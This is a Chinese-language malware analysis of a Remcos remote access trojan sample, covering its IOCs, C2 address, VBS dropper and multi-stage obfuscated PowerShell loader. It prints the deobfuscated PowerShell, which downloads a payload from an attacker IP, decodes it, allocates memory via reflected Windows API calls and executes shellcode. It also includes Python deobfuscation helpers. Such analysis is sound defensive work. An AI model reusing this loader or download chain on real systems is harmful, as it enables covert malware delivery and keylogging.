前言
Remcos是一种远程访问木马,用于远程控制受感染的PC,该恶意软件从2016年首次在暗网的地下黑客社区出售以来一直处于活跃状态。Remcos在恶意软件中排名高居全球第九,每个月都会发布新版本,此次样本捕获于7月2日。
沙箱分析
感染流程
IOC
Hash | 值 |
---|---|
MD5 | 67E1E122A412C456946E5206247A92EB |
SHA1 | 7262D0EBF405CE41C1000D6E3940099CDB0B8E4B |
SHA256 | 68796E148BE21FCCE665281CE32941C6BE58028BEFB85B7789253DFDE8D9E68E |
C2
103.237.87.156:1993
VBS分析
样本是一个vbs文件,运行后会调用wscript.exe执行命令。
关键代码:
启动powershell执行命令,对执行的命令进行了混淆。
解码得到:
Powershell反混淆
powershell中的代码经过很多的混淆,其中定义了俩个函数fyrstendmme
和Illish
,用于生成一大段字符串。
写一个python脚本,模拟fyrstendmme
函数,代码如下:
def fyrstendmme(input_string, fightet):
breddesekunder = len(input_string) - fightet
unblessed = ""
for standsforskellenes in range(7, breddesekunder, 8):
unblessed += input_string[standsforskellenes:standsforskellenes + fightet]
return unblessed
# 提供的字符串
input_string = ''
fightet = 1
result = fyrstendmme(input_string, fightet)
print(result)
经过一次反混淆,可以得到如下信息:
$Opholdsstuernes =Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$Sorteringens = User-Agent
$Bespake = http://103.237.86.247/Fremmeligste.xsn
$Deutoxide = >
$Triangularize = iex
$Doozie = 'Medansvaret'
$Bombestoppets = echo %appdata%\Dobbeltrudens140.Aff && echo t
Illish ($global:Debater=(cmd /c echo %appdata%\Dobbeltrudens140.Aff && echo t))
Illish ($global:Cirsith200=$Bespake.split($Deutoxide))
Illish ([Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12)
$Bespake=$Cirsith200[0];
$Retransfigure= ($global:Natskifte=New-Object System.Net.WebClien)
$Retransfigure+=$Debater[1];
Illish ($Retransfigure);
Illish($global:Kriminalistiske=(Test-Path $Uhjlpeligste));
while (!$Kriminalistiske)
{
Illish ($global:Udlbsrende=$true) ;
Illish $Tragacanthin;Illish (Start-Sleep 4);
Illish ($global:Kriminalistiske=(Test-Path $Uhjlpeligste)) ;
Illish ($global:silverrod=$global:Assimilerings++%$Cirsith200.count) ;
$Bespake=$Cirsith200[$silverrod];
}
$Lysimeters=302269;$Descantist115=28958;
Illish($global:Trommesalsmaleri = Get-Content $Uhjlpeligste)
Illish($global:Spuming = [System.Convert]::FromBase64String($Trommesalsmaleri))
Illish($global:Journalnummeret = [System.Text.Encoding]::ASCII.GetString($Spuming))
Illish($global:Gennemsigtigt=$Journalnummeret.substring($Lysimeters,$Descantist115))
Illish $Gennemsigtigt;
详细分析一下上述的代码:
- 先是定义了一些变量,常见的User-Agent字符串:用于向服务器标识客户端的浏览器类型和版本信息;还包括URL地址;字符'>';字符串'iex',该字符串是 PowerShell 中的 Invoke-Expression,用于执行字符串形式的命令;还有一个包含在cmd中的命令。
- Illish函数执行或传递参数
- cmd /c 执行命令,将命令的输出复制给全局变量 Debater。
- $Cirsith200 = @("http://103.237.86.247/Fremmeligste.xsn")
- 设置安全协议为TLS1.2
- 尝试创建并配置WebClient对象。
- 检查$Uhjlpeligste路径是否存在,不存在返回False
- 这里False就进入While循环,继续检查某路径是否存在,直到找到为止。
- 定义俩个变量,分别被赋予302269 和 28958。
- Get-Content 是一个 PowerShell 命令,用于读取文件内容;这里用于读取上面找到路径对应的文件内容。
- 将读取的内容从base64编码转换成字节数组。再转换成Ascii编码的字符串
- 字符串中提取一段子字符串,从索引 302269 开始,长度为 28958。
- 输出。
提取出经过base64编码的文件内容:
解码后找到302269处的子字符串,截取长度为28958的内容出来:
同样的尝试反混淆一部分:
- $Teterskali= \syswow64\WindowsPowerShell\v1.0\powershell.exe
- $Thioarsenious= powershell.exe
- $Bauxititerobanerne52= exit
- Illish($global:Unfallenness=$env:windir + $Teterskali)
- Illish($global:Stngninger = ((gwmi win32_process -F ProcessId=${PID}).CommandLine) -split [char]34)
- Illish($global:Cambibia = $Stngninger[$Stngninger.count-2])
- Illish($global:Submission = ([IntPtr]::size -eq 8))
- Illish(if (!$Submission){ $global:Unfallenness = $Thioarsenious})
- Illish($global:Nacket=($Udlbsrende -or $Submission))
前面这部分获取系统架构是否是64位的,根据结果将Powershell的路径赋值给变量。
继续往下看,这里有个if判断,不满足就exit了。
下面接着定义了俩个函数 Dorsiventral
和reallnningers
。尝试反混淆后如下:
function Dorsiventral ($Teters, $Bauxitite) {
# 使用按位异或运算
return $Teters -bxor $Bauxitite
}
function reallnningers ($Skabiosaernes, $Ugerningers = 0){
$Tetersntitoksinet = 2
# 创建一个字节数组,长度为输入字符串长度的一半
$global:Ripens = New-Object byte[] ($Skabiosaernes.Length / 2)
for ($Episome = 0; $Episome -lt $Skabiosaernes.Length; $Episome += $Tetersntitoksinet) {
# 将每两个字符的十六进制字符串转换为字节
$global:Ripens[$Episome / 2] = [convert]::ToByte($Skabiosaernes.Substring($Episome, 2), 16)
# 使用按位异或操作处理字节
$global:Ripens[$Episome / $Tetersntitoksinet] = Dorsiventral $global:Ripens[$Episome / $Tetersntitoksinet] 127
}
# 将字节数组转换为ASCII字符串
$global:Adgangsvejene = [String][System.Text.Encoding]::ASCII.GetString($global:Ripens)
if ($Ugerningers) {
# 如果$Ugerningers为真,返回结果
return $global:Adgangsvejene
} else {
# 否则,返回结果
return $global:Adgangsvejene
}
}
编写一个python脚本对其进行反混淆,脚本如下:
def dorsiventral(teters, bauxitite):
return teters ^ bauxitite
def reallnningers(skabiosaernes, ugerningers=0):
tetersntitoksinet = 2
ripens = bytearray(len(skabiosaernes) // 2)
for episome in range(0, len(skabiosaernes), tetersntitoksinet):
ripens[episome // 2] = int(skabiosaernes[episome:episome + 2], 16)
ripens[episome // tetersntitoksinet] = dorsiventral(ripens[episome // tetersntitoksinet], 127)
adgangsvejene = ripens.decode('ascii')
if ugerningers:
return adgangsvejene
else:
return adgangsvejene
以下是全部经反混淆后的内容:
Moskushjort: System.dll
Dresset: Microsoft.Win32.UnsafeNativeMethods
healless: GetProcAddress
uskiftende: System.Runtime.InteropServices.HandleRef
Akrostikas: string
Kollektiviseringer: GetModuleHandle
earsore: RTSpecialName, HideBySig, Public
Rnkesmedens: Runtime, Managed
Konfedereret: ReflectedDelegate
Peroxy: InMemoryModule
Telecourse: MyDelegateType
Acarpelous: Class, Public, Sealed, AnsiClass, AutoClass
Pulsed: Invoke
Homoarecoline: Public, HideBySig, NewSlot, Virtual
Premoral: VirtualAlloc
Regissrernes: ntdll
henrikkes: NtProtectVirtualMemory
Checkmate: \
Doughlike: USER32
televrkernes: CallWindowProcA
Camperingers: kernel32
Jinshin: user32
Sculptured: ShowWindow
function bunkevist ($Electroretinograph, $Sljdlrernes) {
$global:Hellebardists = [AppDomain]::CurrentDomain.GetAssemblies()
$global:Unpregnant = ($Hellebardists | Where-Object {$_.Location.Split($Checkmate)[-1].Equals($Moskushjort) }).GetType($Dresset)
$global:Reupholsters = $Unpregnant.GetMethod($healless, [Type[]] @($uskiftende, $Akrostikas))
return $Reupholsters.Invoke(
$null,
@(
[System.Runtime.InteropServices.HandleRef](
New-Object System.Runtime.InteropServices.HandleRef(
(New-Object IntPtr),
($Unpregnant.GetMethod($Kollektiviseringer)).Invoke($null, @($Electroretinograph))
)
),
$Sljdlrernes
)
)
}
function Enveloping ([Parameter(Position = 0)] [Type[]] $Bauxititeagdelenes,[Parameter(Position = 1)] [Type] $Unblinking = [Void]) {
$global:Laik = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
(New-Object System.Reflection.AssemblyName($Konfedereret)),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run
).DefineDynamicModule($Peroxy, $false).DefineType($Telecourse, $Acarpelous, [System.MulticastDelegate])
$Laik.DefineConstructor($earsore, $Fjernskriverne109, $Bauxititeagdelenes).SetImplementationFlags($Rnkesmedens)
$Laik.DefineMethod($Pulsed, $Homoarecoline, $Unblinking, $Bauxititeagdelenes).SetImplementationFlags($Rnkesmedens)
return $Laik.CreateType()
}
$global:Influenzalignende8 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bunkevist $Camperingers $Premoral), (Enveloping @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$global:Eddikesure = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bunkevist $Jinshin $Sculptured), (Enveloping @([IntPtr], [UInt32]) ([IntPtr])))
${Host}.UI.RawUI.WindowTitle = $Scabiophobia153
$global:Acetonemia = (Get-Process | Where-Object { $_.MainWindowTitle -eq $Scabiophobia153 })
$global:Yderliggerne45 = $Acetonemia.MainWindowHandle
$Eddikesure.Invoke($Yderliggerne45, $Socialrealismes)
$global:tuberiform = $Influenzalignende8.Invoke($Socialrealismes, 650, $Weedage, $Koncertina)
$global:Afvendelsernes = $Influenzalignende8.Invoke($Socialrealismes, 30142464, $Weedage, $Splenetive)
[System.Runtime.InteropServices.Marshal]::Copy($Spuming, $Socialrealismes, $tuberiform, 650)
[System.Runtime.InteropServices.Marshal]::Copy($Spuming, 650, $Afvendelsernes, $Kyphosis)
$global:Centralfyrets = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bunkevist $Doughlike $televrkernes), (Enveloping @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))
$Centralfyrets.Invoke($tuberiform,$Afvendelsernes,$Bauxititeasidiolichenes189,$Socialrealismes,$Socialrealismes)
先是定义了一些变量名和其对应值,用于混淆;接着定义了俩个函数分别用于获取系统函数地址和定义动态委托类型(用于动态加载和调用系统API);大致就是powershell和底层API的一些交互。
exe
部分行为分析
启动一个隐藏的命令行程序:
从URL中下载PDF文件,用DES解密(密钥是硬编码的Base64字符串):
将解密后的数据写入内存,调用Umbdvs类中的Zvaanddn方法分配内存:
Umbdvs类
Jxcwkeovu
导入VirtualAlloc API,VirtualAlloc
用于在进程的虚拟地址空间中分配内存。Zvaanddn
导入EnumCalendarInfo API,EnumCalendarInfo
用于枚举指定区域设置的日历信息。Amxyvibjv
导入VirtualProtect API,VirtualProtect
用于更改已分配内存的保护属性。
运行后dump了出一个logs.dat文件和exe文件。logs是键盘记录器的日志文件: